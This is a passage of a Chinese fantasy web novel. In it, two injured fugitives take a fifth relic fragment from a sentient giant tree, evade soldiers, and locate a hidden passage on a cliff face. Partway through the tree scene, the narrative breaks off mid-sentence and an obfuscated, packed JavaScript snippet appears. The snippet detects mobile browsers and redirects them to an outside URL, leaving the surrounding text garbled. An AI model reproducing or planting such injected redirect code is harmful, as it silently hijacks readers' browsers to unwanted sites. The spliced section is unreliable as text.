就在余茶的脚刚刚完全没入洞口时,他们身后,那被撑开的岩石和泥土,开始发出不堪重负的呻吟,缓缓向内闭合。仿佛那只无形的大手,在为他们打开通路后,又要悄然抹去痕迹! 通道狭窄、曲折、陡峭向上,遍布湿滑的泥土、尖锐的碎石和盘虬的植物根须。他们如同两只在巨兽肠道中挣扎求生的虫子,凭着求生本能和那一丝微弱的、仿佛来自前方深处的牵引感,拼命向上攀爬。 不知爬了多久,就在余茶觉得肺里的空气都要耗尽,手臂再也无法拉动身体时,前方利诺斯的身影忽然消失了。紧接着,她感到身体一空,从通道尽头跌了出去! 没有摔在岩石上,而是落在了一层厚厚的、柔软而富有弹性的腐殖质上。清新的、带着雨后泥土和无数植物气息的空气猛地涌入鼻腔。眼前不再是幽绿或黑暗的光,而是从极高处滤下的、斑驳破碎的天光。 她抬起头。 然后,整个人僵住了。 她置身于一片无法用语言形容的巨林之中。这里的每一棵树,都粗壮得超乎想象,需要十人、甚至数十人才能合抱。树皮粗糙如龙鳞,呈现深沉的青灰色或暗褐色。树冠高耸入云,在极高的地方交织成一片几乎密不透光的绿色穹顶,只有极少的光线能穿过层层叠叠的枝叶,化作一道道斜射的光柱,照亮林中弥漫的、如同实质的淡绿色雾气。 寂静。一种沉重到让人心脏发紧的寂静。没有鸟鸣,没有兽吼,只有微风拂过无数叶片时发出的、仿佛来自远古的深沉叹息。 而就在他们面前,不到二十步的地方,矗立着一棵无法形容其巨大的树。 它是这片巨林毫无疑问的王者。树干之粗,仿佛一座小山。树皮不再是粗糙,而是布满了奇异的、如同天然符文般的凹凸纹理,隐隐流动着极其微弱的翡翠色光泽。它的根系如同一条条巨龙,拱出地面,又深深扎入泥土,蔓延向视野尽头。树冠更是遮天蔽日,投下的阴影覆盖了极大一片区域。 在这棵巨树最低的一根粗壮横枝上,距离地面约三人高的地方,悬挂着一个由活着的藤蔓和发光苔藓自然编织而成的平台,平台上,隐约可见一个深色的、长条形的物体。 利诺斯也挣扎着从腐殖层上坐起,仰望着这棵神迹般的巨树,眼中充满了前所未有的震撼。 余茶的目光则死死锁定在那藤蔓平台上的物体。第五块碎片。毫无疑问。 但与此同时,她感到怀中的四块碎片,正在不受控制地发烫、震动,仿佛在欢呼,在共鸣,在渴望着与树上那块碎片汇合。 而脚下的大地,那仿佛沉睡的巨兽,似乎也在这强烈的共鸣中,发出了低沉而不安的呻吟。 千橡之森的中心,“木”之节点,就在眼前。碎片触手可及。 但余茶心中没有丝毫喜悦,只有冰冷的警兆。这棵巨树平静的表象下,那浩瀚如海的生命力深处,似乎也沉睡着某种东西,随着碎片的靠近,正在缓缓苏醒。 浮雕的警告如同惊雷,再次在她脑中炸响: ‘心亦有所求’。 这一次,“心”所求的,会是什么? 24. 根须的低语 巨树的树冠在极高处缓慢摇曳,筛落的光斑如同碎金,在浓得化不开的淡绿雾气中明明灭灭。空气中弥漫着一种奇异的气息——亿万片树叶蒸腾出的清新氧气,混合着厚达数尺的腐殖层下、经年累月缓慢分解的生命残骸所散发的、微甜而醉人的腐朽芬芳。这是一种纯粹到近乎暴烈的生命力场,置身其中,连呼吸都仿佛在啜饮过于浓郁的醇酒,带来轻微的眩晕。 寂静。并非空无一物,而是所有细微的声响——叶片摩擦、水珠滚落、土壤中微生物的活动——都被这过于宏大的静谧吸收、中和,最终化作一种压迫耳膜的、深海般的死寂。 余茶趴在冰冷潮湿的腐殖质上,肺部火辣辣地疼,每一次呼吸都牵扯着全身的伤口。然而此刻,压倒所有生理痛苦的,是一种源自灵魂深处的悸动与排斥。怀中的四块碎片烫得惊人,仿佛四颗即将融化的炭块紧贴着皮肤,它们以不同的频率震动着,彼此呼应,又共同指向那棵巨树,指向横枝平台上那块深色的、长条形的第五碎片。 那不是喜悦的共鸣,更像是……一种饥渴的牵引,一种迫不及待的归位召唤。碎片渴望聚集,渴望完整,仿佛它们本就是这棵巨树失落的一部分。 而巨树本身,那翡翠色的、仿佛有生命般在树皮纹理下缓缓流淌的微光,似乎也因这靠近的碎片而变得更加明亮、活跃了一些。它沉默地矗立着,根系如虬龙般在地表蜿蜒,没入黑暗的土壤深处。在那些粗大的根系之间,余茶似乎看到了一些惨白的、非自然的反光——是兽骨?还是…… 利诺斯拖着断腿,挣扎着靠坐在一段拱出地面的巨型树根旁。他的脸色在斑驳光影下显得异常凝重,淡琥珀色的眼睛紧盯着那藤蔓平台,又不断扫视着周围过于安静的森林。他没有立刻行动去取碎片,仿佛也在评估着这令人不安的平静。 “太安静了。”他压低声音,几乎只是唇语,“没有动物,连虫子都没有。” 余茶也注意到了。这片生命力蓬勃到极致的森林,却像一片精致的标本,缺少了应有的“喧哗”——那些代表食物链底层活动的细微声响。这不合常理。 “碎片……在影响这里。”她嘶哑地说,尝试挪动身体,靠近利诺斯一些。这个简单的动作让她眼前发黑。“或者,是这里的东西,在通过碎片影响我们。” 利诺斯点头,他示意余茶打开装着碎片的布囊,当四块碎片暴露在空气中时,异象发生了! 巨树树干上那翡翠色的光流,骤然明亮了数倍。光芒顺着树皮上天然的沟壑纹路加速流淌,仿佛整棵巨树的“血液”都沸腾了起来。与此同时,他们身下的腐殖层,传来了清晰的、窸窸窣窣的声响,仿佛有什么东西在厚厚的落叶和泥土下快速穿行。 不是动物。是根须。 无数细如发丝、粗如手指的淡褐色根须,如同苏醒的蛇群,从他们周围的腐殖层中无声无息地钻出!它们没有攻击,而是缓缓地、试探性地朝着暴露在外的碎片延伸、靠近,顶端微微颤动,像是在“嗅探”。 更令人心悸的是,一种低沉而含混的意念,或者说,是无数细微声音汇聚成的背景噪音,开始直接在他们脑中浮现。那不是语言,更像是植物生长、汁液流动、根系探索土壤时发出的、被放大了无数倍的自然声响,被赋予了模糊的“意图”。那意图复杂难明,混杂着好奇、渴望、守护,以及一丝……古老的悲伤与怨愤。 诡异至极。就像赤身裸体站在一个巨大而沉默的智慧生命面前,你的每一个念头、每一丝情绪,都可能被那无处不在的根系和弥漫的生命力场感知、解读。 “它在‘看’我们。”利诺斯声音紧绷,立刻将布囊重新合拢,只留一条缝隙。根须的靠近速度明显放缓,脑中的低语也变得微弱了一些,但并未完全消失。 “它想要碎片。”余茶明白了,“但不仅仅是收集。那意念里有‘守护’……它似乎把自己当成了碎片的看守者?或者,碎片是它的一部分?” “图画上,是树打开了门。”利诺斯回忆着地穴中的刻痕,“但也可能是树……需要碎片,才能打开某种它自己也无法开启的东西?” 他们被困在了这里。巨树和它的根须领域形成了一个无形的囚笼。取走碎片,可能会激怒这个庞大而未知的存在;不取,他们无法继续前进,也无法逃离,迟早会死于伤势和饥饿。 “赌一把。”利诺斯做出了决定,眼神重新变得锐利而果决,那是赌徒押上最后筹码时的眼神。“我上去拿碎片。你留在这里,如果我……”他没说完,但意思明确。他将装着四块碎片的布囊塞到余茶手里,“拿好。如果我出事,或者树有异动,也许你可以用这些碎片……做点什么。或者,至少别让它们一起落在树手里。” 这是一个极其冒险且未必理性的分配。但余茶明白他的逻辑:分散风险,保留最后的变数。她默默接过布囊,再次抱在怀里。碎片的温度和震动透过粗布传来,与她自己的心跳混在一起。 利诺斯撕下更多布条,将骨折的左腿与旁边的粗壮树根牢牢绑在一起,形成一个临时的固定和支撑。然后,他解下腰间的腰布,在一端系上他的匕首,做成一个简陋的钩索。他瞄准了悬挂平台的藤蔓。 一次,两次……钩索终于挂住了平台边缘一根较粗的藤蔓。利诺斯试了试承重,然后开始用双臂的力量,配合未受伤的右腿蹬踏巨树粗糙的树皮,艰难地向上攀爬。每一下都牵动断腿,疼得他浑身颤抖,汗如雨下,但他一声不吭。 余茶紧盯着他的每一个动作,心脏提到了嗓子眼。周围的根须似乎也“感应”到了什么,停止了漫无目的的探索,齐齐转向了正在攀爬的利诺斯方向,微微扬起“头”,如同无数静默的观察者。 森林的寂静被利诺斯沉重的喘息和衣物摩擦树皮的声音打破,但这声音反而让寂静显得更加压抑、更加充满威胁。 终于,利诺斯爬上了那根粗壮的横枝。他趴在树枝上喘息了片刻,然后小心翼翼地挪向那个藤蔓平台。 平台由活着的藤蔓交织而成,中央铺着厚厚的、发着微光的苔藓。那块深色的长条形物体就躺在苔藓上——那是一根约半臂长、通体黝黑、带有不规则木纹和金属光泽的“木杖”,一端较粗,有握柄的痕迹,另一端渐细,顶端似乎有一个小小的凹槽。杖身同样镶嵌着一些细小的、颜色各异的晶体,排列成螺旋状。 第五块碎片。形态再次不同,却与前四块隐隐呼应。 利诺斯伸手,手指即将触碰到黑色木杖—— “嗡……” 一种低沉的、仿佛巨型弓弦被拨动的震颤声,猛地从巨树内部传来。整棵巨树,连同他们脚下的大地,都随之轻轻一颤! 平台上发光的苔藓瞬间变得无比明亮。缠绕平台的藤蔓仿佛活了过来,开始缓慢而有力地收紧、蠕动。利诺斯脚下的横枝也传来不祥的“嘎吱”声。 与此同时,余茶脑中的低语瞬间变得尖锐、清晰起来。不再是含混的背景音,而是凝聚成几个反复震荡的“词语”碎片,如同根须在岩层中钻探的回响: “……归还……代价……平衡……记忆……” 归还?代价? 利诺斯脸色一变,但他没有退缩,反而猛地一把抓住了那根黑色木杖。 就在他抓住木杖的刹那—— “轰隆!!!” 这一次,不是震颤,而是巨响!仿佛巨树的核心被狠狠撞击,翡翠色的光芒从树干内部爆炸般喷涌而出!所有靠近的根须如同被激怒的蛇群,猛地弹射而起,铺天盖地地卷向横枝上的利诺斯。粗壮的藤蔓也如同巨蟒般缠绕上来,要将他连同木杖一起绞碎、拖入树冠深处。 利诺斯怒吼一声,挥动匕首砍向缠来的藤蔓。但藤蔓数量太多,太粗韧。一根根须缠住了他的脚踝,猛地向下拉扯。 “呃啊!”利诺斯痛呼一声,身体被拉得失去平衡,从横枝上滑落。但他死死抓着黑色木杖没有松手! 下方,余茶看得目眦欲裂。她几乎能预见到利诺斯被根须吞噬、或者摔死在树根上的惨状。 不能让他死! 这个念头压倒了一切。利诺斯死了,她一个人绝无生路。 几乎出于本能,余茶猛地扯开怀中的布囊,将四块碎片全部抓在手中。她不知道该怎么办,只是将它们高高举起,朝着那光芒爆发的树干核心,用尽全身力气,嘶声喊道:“停下!我们不是要抢夺。我们……我们带来了其他碎片。我们是来……归还,或者寻找答案!” 她的话语在巨树的轰鸣和根须的摩擦声中显得微不足道。但就在她举起四块碎片,喊出“归还”二字的瞬间—— 四块碎片骤然间爆发出前所未有的强烈光芒!石台钥匙的金褐色、铜耙子的青灰色、黑色吊坠的暗金色、陶片的暗红色——四色光芒交织,形成一道微弱却凝实的光柱,直射向树干上翡翠光芒最盛处。 奇迹发生了。 狂舞的根须和藤蔓,在接触到这四色光芒的瞬间,如同被灼烫般猛地一缩。动作出现了明显的迟滞和犹豫。那尖锐的脑内低语,也变成了更加混乱、充满疑惑的嗡嗡声: “……同类……气息……破碎……呼唤……完整……” 抓住利诺斯脚踝的那根粗壮根须,力道也松懈了一瞬。 利诺斯抓住这千钧一发的机会,左手死死抠住树皮一道裂缝,右手挥动匕首狠狠斩断脚踝上的根须,同时借着下坠之势,猛地向下一荡,朝着余茶所在的方向摔落下来! “砰!” 他重重摔在厚厚的腐殖层上,溅起一片枯叶和泥土。他闷哼一声,喷出一口鲜血,显然伤上加伤,但手中依然死死攥着那根黑色木杖。 上方的根须 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226095|197565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和藤蔓在四色光芒的照耀下,暂时停止了攻击,只是在光芒边缘徘徊、试探,发出不安的摩擦声。翡翠色的树光与四色碎片之光在空中形成一种微妙的对峙。 余茶跪倒在地,双手因高举碎片而颤抖,光芒似乎也在汲取她的力气,让她感到一阵阵虚弱。但她不敢放下。 利诺斯挣扎着爬到她身边,看了一眼她手中的碎片和光芒,又看了一眼暂时被遏制的根须,眼中闪过决断。他将刚刚到手的黑色木杖,也举了起来,对准那四色光柱。 第五种光芒——一种沉静的、深邃的墨绿色光晕——从木杖中流淌出来,汇入了四色光柱之中。 五色光芒合流! 质变发生了。 光芒不再仅仅是照亮和威慑。它们开始流动、旋转,如同有生命般,主动缠绕向树干上翡翠色的光流。两种性质不同却似乎同源的力量,开始缓慢地、试探性地接触、交融。 巨树内部传来的轰鸣声逐渐减弱,变成了低沉的、仿佛叹息般的嗡鸣。狂舞的根须和藤蔓彻底安静下来,缓缓垂落、缩回腐殖层或缠绕回树干,但它们并未完全退去,而是像温顺下来的守卫,静静围拢在光芒交织的区域周围。 脑中的低语变得前所未有的清晰,虽然依旧零碎,却似乎能拼凑出更多的信息: “……断裂的誓言……失落的校准……大地在疼痛……需要完整的圆……钥匙……心……代价……” “它在沟通!”余茶低声道,尽管她不确定这算不算真正的沟通,“它说需要‘完整的圆’……是指集齐所有碎片?‘钥匙’和‘心’……代价……” 利诺斯抹去嘴角的血,紧盯着光芒交融处。“代价……图画上,小人献上了物品,树打开了门。也许,不是‘抢夺’,而是‘献祭’或‘交换’?我们带来碎片,它给予通路或答案?” “但‘心亦有所求’……”余茶想起浮雕的警告,“如果‘心’就是这棵树,或者这个节点……它求什么?‘归还’?‘平衡’?还是……别的?” 五色光芒与翡翠树光的交融越来越深入,仿佛在进行着某种无声的谈判或仪式。渐渐地,在树干上光芒最盛处,出现了一个缓缓旋转的、由光线构成的复杂立体图案,正是他们在礁石洞穴浮雕上见过的、那个代表“核心控制符”的立体符号的残缺版本。现在,随着五块碎片的齐聚,这个符号明显比在浮雕上看到的更加完整、清晰。 符号旋转着,投射出一道稳定的、五色交织的光束,指向森林深处的一个方向——不是他们来的地穴方向,也不是海岸方向,而是岛屿更中心、地势更高的群山腹地。 同时,脑中的低语给出了最后一句相对完整的信息: “……第七钥,在‘山之巅,星之眼’……最后的碎片……最后的抉择……平衡或湮灭……谨记……代价……” 信息到此戛然而止。五色光芒与翡翠树光同时开始黯淡、收敛。立体符号逐渐消散。根须彻底退回地下。巨树恢复了最初的、威严而沉默的姿态,只是树皮上流动的翡翠光泽,似乎比之前更加温润、平和了一些。 森林依旧寂静,但那种令人窒息的敌意和压迫感消失了,取而代之的是一种深沉的、仿佛亘古如此的静谧。 余茶和利诺斯瘫倒在腐殖层上,精疲力尽,劫后余生的虚脱感席卷全身。他们拿到了第五块碎片,获得了下一个目标的指引,山之巅,星之眼,似乎还与“木”节点达成了某种暂时的、脆弱的“协议”。 但“代价”二字,如同悬在头顶的达摩克利斯之剑。 利诺斯检查了一下黑色木杖,将它和其他四块碎片放在一起。五块碎片彼此靠近时,发出悦耳的、如同音叉共振般的轻微嗡鸣,光芒内敛,显得异常和谐。 “休息一下。”利诺斯声音沙哑,“然后,我们必须离开这片森林。克里同的士兵,或者别的什么东西,可能已经被刚才的动静引来了。” 余茶点头,看向森林深处光束指出的方向。群山巍峨的轮廓在树冠缝隙间隐约可见。 “山之巅,星之眼……”她重复着这个地名,“听起来,像是最高处,与星空有关的地方。会是哪里?” 利诺斯沉默了片刻,缓缓道:“岛屿中央,最高的那座山峰。传说中,那里是古代祭司观测星象、与神灵沟通的‘通天之阶’。也是……初代大祭司建立第一座圣所的地方。” 大祭司阿尔克提斯家族起源的地方。 碎片指向那里,是巧合,还是必然? 余茶没有问出口。她看着怀中暂时安静下来的五块碎片,感受着它们彼此共鸣时传来的、微弱却坚定的牵引力。 这条“循此脉”之路,正带着他们无可逆转地,走向一切的起点,也是最终抉择之地。 而他们需要支付的“代价”,恐怕也将在那里,彻底揭晓。 25. 克里同的网 巨树下的短暂喘息,如同暴风雨眼中虚假的宁静。五块碎片在怀中收敛了光芒,却像五颗不安分的心脏,持续传递着微弱却清晰的脉动,仿佛在彼此确认存在,又仿佛在催促前行。利诺斯断裂的左腿经过简单固定,依旧钻心地疼,每一次试图移动都让他额头青筋暴起。余茶的左脚彻底失去了知觉,肿胀的小腿皮肤已成紫黑,移动只能依靠双臂拖行和利诺斯偶尔的搀扶。 “不能久留。”利诺斯侧耳倾听片刻,林间的寂静里开始掺杂进一些不和谐的声响——远处隐约的犬吠,金属甲片偶然碰撞的脆响,还有被刻意压低、却因距离拉近而逐渐清晰的人语呼喝。克里同的搜捕网,正在向这片刚刚发生过能量异动的森林收紧。 “他们被刚才的光和动静引过来了。”利诺斯判断,声音压得极低,“这片林子太大,他们一时半会儿搜不完,但出口和要道肯定被守住了。” 余茶环顾四周。参天巨木构成了天然的迷宫,浓雾和厚密的树冠层遮蔽了视线,也干扰了方向感。巨树指引的光束已经消失,只留下“山之巅,星之眼”这个模糊的目标。 “往高处走。”利诺斯做出了决定,指向森林坡度上升的方向,“朝着岛中央山峰的方向。林密雾大,追踪不易。而且……”他看了一眼余茶完全无法着地的伤脚,语气没什么波澜,“你需要一个相对隐蔽、不易被搜山队轻易踏足的地方躲藏,我才能去探路,或者找机会弄点必需的东西。” 他说的是事实,但“躲藏”和“探路”这两个词,让余茶心脏微微一缩。这意味着再次分离,意味着她将被独自留在一个未知且危险的环境里,完全依赖利诺斯的回归——或者,被他作为过于沉重的累赘遗弃。 她没有表露任何情绪,只是点了点头:“找个有水源,最好能遮掩气味的地方。” 利诺斯看了她一眼,似乎有些意外于她的平静和提出的实际要求。他没说什么,开始观察四周地形、植被分布和地表水汽的痕迹。尽管重伤,他展现出的野外生存本能和对环境的敏锐解读,依旧令人心惊。 他们选择了一条兽径边缘、被倒下巨木和茂密蕨类植物遮掩的路线,利诺斯在前方用匕首清除过于碍事的枝杈,余茶则用双臂和未受伤的右腿,配合着一点点向前挪动。速度缓慢得令人绝望,身后追兵的声音却越来越近。 不知挣扎前行了多久,就在余茶几乎要因剧痛和失温而晕厥时,利诺斯停下了脚步。前方出现了一道陡峭的、布满湿滑苔藓的岩壁,岩壁底部,有一个被层层藤蔓和附生植物遮蔽的、仅容一人弯腰进入的狭窄洞口。一股清凉湿润、带着苔藓和岩石气息的气流从洞内隐隐吹出。 “里面不大,但很深,有滴水声。”利诺斯快速侦查后返回,“暂时安全。你进去。” 他将余茶半拖半抱到洞口,递给她那个装着五块碎片的布囊,还有自己那个所剩无几水的水囊和最后几颗酸涩的野果。“待着别动,别出声,无论听到什么。天亮前如果我还没回来……”他顿了顿,没有说完,只是将匕首也塞到了她手里,“防身。” 余茶接过东西,冰凉的金属触感让她指尖微颤。她没有问“如果你不回来怎么办”,只是看着利诺斯被血污和汗水覆盖的、看不出表情的脸,干裂的嘴唇动了动:“……小心。” 利诺斯似乎愣了一下,随即扯出一个近乎无形的、略带嘲弄的弧度,也不知是在嘲弄她的嘱咐,还是在嘲弄这荒谬的处境。他点了点头,迅速用附近的枝叶和藤蔓将洞口伪装得更加自然,然后转身,拖着断腿,无声无息地消失在浓雾弥漫的巨木阴影之中。 余茶独自蜷缩在阴冷潮湿的洞穴深处。黑暗和寂静如同有实质的潮水,包裹着她,挤压着她。伤脚的疼痛、饥饿、寒冷。对未知的恐惧,在此刻被无限放大。她紧紧握着匕首,怀里抱着沉重的碎片布囊,耳朵捕捉着洞外每一丝可疑的声响——越来越近的犬吠声、士兵粗暴地拨开灌木的哗啦声、偶尔响起的简短命令…… 追兵真的到了附近。他们似乎在这一带失去了明确的追踪线索,开始进行拉网式的搜索。洞口外传来杂乱的脚步声和交谈声,最近的时候,似乎就在几米开外。 “……这边没有!” “雾这么大,脚印都看不清,还追吗?” “那头死狗也不灵了,在这里瞎转悠!” “仔细点!科斯摩下了死命令,那两个野蛮人受了重伤,跑不远,肯定躲在这附近。” 余茶屏住呼吸,心脏狂跳得几乎要撞碎肋骨。她将身体紧紧贴在冰冷的岩壁上,恨不得融入岩石之中。手中的匕首握得太紧,指关节都泛了白。 幸运的是,或许是洞口的伪装足够好,或许是士兵的搜索不够细致,他们并没有发现这个隐蔽的入口。脚步声和交谈声逐渐远去,最终消失在森林深处。 余茶长长地、无声地吁出一口气,浑身几乎虚脱。冷汗浸透了本就单薄潮湿的衣衫。她靠在岩壁上,强迫自己冷静下来,开始思考现状。 利诺斯能成功避开搜捕吗?他能找到食物、药物,或者更重要的——一条相对安全的、通往“山之巅”的路径吗?如果他失败,或者……选择了不再回来,她该怎么办? 这个念头一旦升起,就如同跗骨之蛆,挥之不去。她下意识地抱紧了怀中的布囊。五块碎片……这是她目前仅有的、或许还有价值的筹码。克里同想要它们,地脉似乎也需要它们。如果利诺斯不回来,她或许可以用这些碎片,尝试与追兵中的某个头目交易?换取治疗和暂时的安全?哪怕是与虎谋皮…… 但这个想法立刻被她自己否决了。太天真,也太危险。碎片的力量难以控制,克里同的目的绝不仅仅是“收藏”,交易的结果很可能是人财两空,甚至被灭口。而且……她想起大祭司阿尔克提斯,想起巨树根须的低语,想起浮雕上“心亦有所求”的警告。这些碎片牵扯的东西,远比一场简单的政治斗争或珍宝争夺要深邃、危险得多。 时间在黑暗中缓慢流逝。洞顶的滴水声规律而单调,像在丈量着生命的流逝。余茶的意识在疼痛、寒冷和焦虑中渐渐模糊。半梦半醒间,她仿佛又听到了那首古老的、属于阿尔克提斯家族的歌谣,又仿佛听到了海浪拍打礁石、火焰在熔炉中咆哮、根须在泥土中伸展、以及……星辰在极高处沉默旋转的声音。这些声音交织在一起,化作一种宏大而悲怆的韵律,在她脑海中回响。 不知过了多久,洞口伪装的藤蔓被极其轻微地拨开,一道熟悉的身影带着夜间的寒气,悄无声息地滑了进来。 是利诺斯。 他看起来比离开时更加狼狈,脸上多了几道新鲜的擦伤,身上的衣物被荆棘刮得破烂不堪,但眼神依旧锐利,甚至带着一丝……古怪的凝重。他带回来一些东西:用大树叶包裹的、还算干净的清水;几块烤熟的块茎,散发着淀粉的焦香;一小包用草药捣碎的、散发着清凉气味的糊状物;还有……一块被仔细折叠起来的、质地粗糙的鞣制羊皮。 “外面情况怎么样?”余茶接过水和食物,低声问。 “搜得很紧,但混乱。”利诺斯撕下一小块烤熟的块茎塞进嘴里,快速咀嚼吞咽,“克里同调集了更多人手,包括一些原本驻守港口的士兵,分成了十几支小队,在森林边缘和几个可能出口设卡。但他们内部似乎有分歧。” “分歧?” “嗯。”利诺斯将补充好的水囊递还给余茶,自己则摊开了那块羊皮。羊皮上是用炭笔画出的、相当精细的岛屿地形简图,标注了几个关键地点和兵力部署的箭头。“我‘遇到’了一个落单的士兵。”他说得轻描淡写,但余茶明白那意味着什么。“他抱怨说,克里同身边的那个占卜师,今天又进行了一次牺牲占卜,结果比上次更糟——祭牲的肝脏完全变黑,心脏干瘪如石。占卜师坚持认为这是‘地母与古老神灵震怒’的终极征兆,要求立刻停止所有 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“你的腿……”余茶看向利诺斯用树枝和布条重新加固过的断腿。 “死不了。”利诺斯将草药糊递给余茶,“敷在你的伤脚上,能消肿止痛,防止溃烂。”然后,他指着地图上岛屿中央那座最高的山峰,“去‘星之眼’的路,我大致摸清了。有几条猎人走的隐秘小径,可以绕过大部分关卡。但最难的一段,在这里——” 他的手指点在山峰西南侧一片陡峭的、近乎垂直的岩壁区域,旁边用炭笔画了一个小小的、复杂的符号,与铜杯内“监察者之印”有几分相似,但更加几何化。 “这片岩壁被称为‘神罚之面’,传说中是被雷霆劈出的绝地,几乎没有植物,岩面光滑。但根据那个士兵零星听到的、关于大祭司家族最古老传说的碎片……这里可能有一条古老的、只有大祭司血脉或持有特定信物才能开启的密道,直通山顶圣所。”利诺斯看向余茶怀中的布囊,“我们的‘钥匙’,或许就是信物。” 希望与更大的危险并存。密道意味着可能避开山下的重重关卡,但也意味着未知的机关、可能早已坍塌的结构,以及……如果传言属实,需要“大祭司血脉”才能开启的屏障。他们只有碎片,没有血脉。 “我们别无选择。”余茶平静地说,将清凉的草药糊敷在肿胀发烫的脚踝和小腿上,刺痛带来一阵清醒。“阿尔克提斯生死不明,克里同的网正在收紧,地脉的扰动不会等我们。只能去那里,赌一把。” 利诺斯点了点头,收起地图。他看起来疲惫至极,但眼神深处那点属于赌徒的火焰,从未熄灭。“休息到太阳出来前最黑暗的时候。然后出发。我们必须赶在克里同意识到我们的真正目标、或者地脉的下一次大爆发之前,到达那里。” 他靠在洞壁上,闭上了眼睛,呼吸很快变得均匀悠长,仿佛瞬间进入了深度睡眠,这是长期危险生涯练就的本能。余茶却毫无睡意。她看着怀中在黑暗里隐约勾勒出轮廓的布囊,感受着碎片那永不停歇的微弱共鸣。 “星之眼”……山之巅……第七块碎片……最后的抉择…… 阿尔克提斯,如果你还活着,会在那里吗?克里同,你的网,能罩住这即将喷发的火山吗? 还有利诺斯……这个在享乐与生存之间精准踩踏钢丝的男人,在最后的谜底揭晓时,他的天平,会倒向哪一边? 洞外,森林的夜风穿过巨木的枝桠,发出呜咽般的声响,如同这座古老岛屿沉睡中的叹息。而在更高的、视线无法触及的云层之上,星辰依旧按照亘古的轨迹沉默运行,冷漠地注视着下方蝼蚁般的挣扎与抉择。 黎明前的黑暗,最是深沉。但也意味着,光,即将刺破最厚重的夜幕。 余茶握紧了手中的匕首,也抱紧了怀中的碎片,缓缓闭上了眼睛。 养精蓄锐。为了接下来的,或许是最后的一段路。 26. 神罚之面 黎明前最深的黑暗,浓稠如墨,吞噬了森林里最后一点微光。雾气不再是淡绿,而是沉甸甸的灰黑,缠绕在巨木之间,吸音纳声,将世界压缩成一个潮湿、冰冷、充满未知回响的狭小囚笼。 利诺斯仿佛体内自带水钟,在约定时刻精准地睁开眼,没有一丝刚醒的迷蒙。他无声地活动了一下伤腿,检查固定,然后看向余茶。余茶也已醒来,或者说,根本未曾深眠。草药糊带来些许清凉,但疼痛和紧绷感依旧如影随形。 没有言语。利诺斯拨开洞口的伪装藤蔓,冰冷的雾气立刻涌入。他侧耳倾听片刻,向外打了个手势。余茶咬紧牙关,将布囊牢牢系在腰间,碎片沉甸甸地坠着,用双臂和未受伤的右脚,开始又一次地狱般的挪移。 离开相对“安全”的洞穴,重新暴露在搜捕网下,每一步都踩在刀尖上。利诺斯在前方引路,依靠记忆和当雾气偶尔散开一道缝隙时星斗的微弱方位,以及对地形匪夷所思的直觉,选择着最难走、也最不可能被设伏的路径。他们绕过散发着腐朽气息的泥沼,紧贴陡峭的岩脊挪行,在几乎垂直的斜坡上抓住裸露的树根一点点下降。 林间的搜捕声似乎稀疏了一些,或许是换了班次,或许是搜捕重心转移。但偶尔,远处还是会传来短促的犬吠或金属撞击声,提醒着他们危机四伏。 天色在艰难的跋涉中一点点泛出鱼肚白,雾气由黑转灰,再变成乳白。他们终于抵达了森林边缘。前方,地势陡然拔高,茂密的树木让位于低矮的灌木和嶙峋的岩石,再往上,就是那座岛屿中央、最高山峰陡峭灰暗的基座。 而在山峰西南侧,正如地图所标,一片巨大得令人窒息的岩壁拔地而起,几乎垂直于地面,如同被赫菲斯托斯的巨斧劈开后又仔细打磨过。岩壁高逾百丈,表面光滑,呈暗沉的铁灰色,只有少数几道深邃的裂缝和风化的沟壑,如同苍老面孔上的皱纹。这就是“神罚之面”。靠近山脚的部位堆积着历年崩落的碎石,形成一片危险的不稳定斜坡。岩壁上寸草不生,与周围山坡的植被形成鲜明对比,透着一股不容侵犯的、死寂的威严。 晨光熹微,给这片绝壁镀上了一层冰冷的铁青色。从这里仰望,山峰顶端隐藏在低垂的云雾之中,看不真切。 “就是这里。”利诺斯停下脚步,靠在块巨石后喘息,目光锐利地扫视着岩壁和周围环境。没有士兵的踪影,这片绝地显然不在常规巡逻路线上。但寂静本身也令人不安。 余茶瘫坐在碎石堆旁,肺部火辣辣地疼,伤脚已经麻木到近乎不存在,只有一种沉重的、不属于自己的异物感。她仰望着那光滑得令人绝望的岩壁,难以想象其上会有什么“密道”。 “怎么找?”她声音嘶哑。 利诺斯没有立刻回答,他从怀中掏出那块鞣制羊皮地图,再次确认了标记密道符号的大致区域——位于岩壁中段,大约离地三十人高的地方,靠近一道较深的纵向裂缝。然后,他让余茶将五块碎片一一取出,摊放在一块较为平坦的岩石上。 晨光下,碎片呈现出各自独特的光泽:石台钥匙的沉郁、铜耙子的冷锐、黑色吊坠的幽深、陶片的古朴、以及黑色木杖的润泽。它们彼此靠近,又开始发出那种悦耳的低频嗡鸣,光芒内敛,却仿佛在彼此呼应,形成一种无形的力场。 “如果是需要‘信物’或‘钥匙’才能开启的密道,”利诺斯缓缓说道,目光在碎片和岩壁之间游移,“那么当正确的‘钥匙’靠近时,应该会有某种……反应。就像在森林里,碎片与巨树共鸣。” 他拿起黑色木杖——这来自森林节点的碎片——尝试着将其尖端指向地图上标记的岩壁区域。起初并无变化。他依次换上其他碎片,调整角度和距离。 当那枚从铜杯上剥落的、带有“监察者之印”符号的陶片,被举到某个特定角度,当微弱的晨光照射在陶片表面的螺旋纹路上时—— 陶片上的符号,微微亮了一下。不是自发光,而是像某种特殊的反光材料,将阳光折射出一道极其细微、但清晰笔直的金色光线,精准地投射在岩壁某处。 那光点落处,正是地图标记的纵向裂缝旁边,一块看起来与其他岩壁毫无二致、颜色略深的区域。 “那里!”余茶低呼。 利诺斯精神一振,小心地保持着陶片的角度和位置,让那光点稳定地停留在岩壁上。他示意余茶观察光点周围的岩壁纹理。 在金色光点的照耀下,余茶逐渐看出,那块颜色略深的区域,其岩石纹理隐约构成一个极其庞大、复杂、且深深内嵌的立体凹槽轮廓的一部分。轮廓线条古拙流畅,与碎片上的某些边缘形状惊人地相似,但放大了无数倍,并且深深“埋”在岩石表面之下,平日里几乎不可能被察觉。 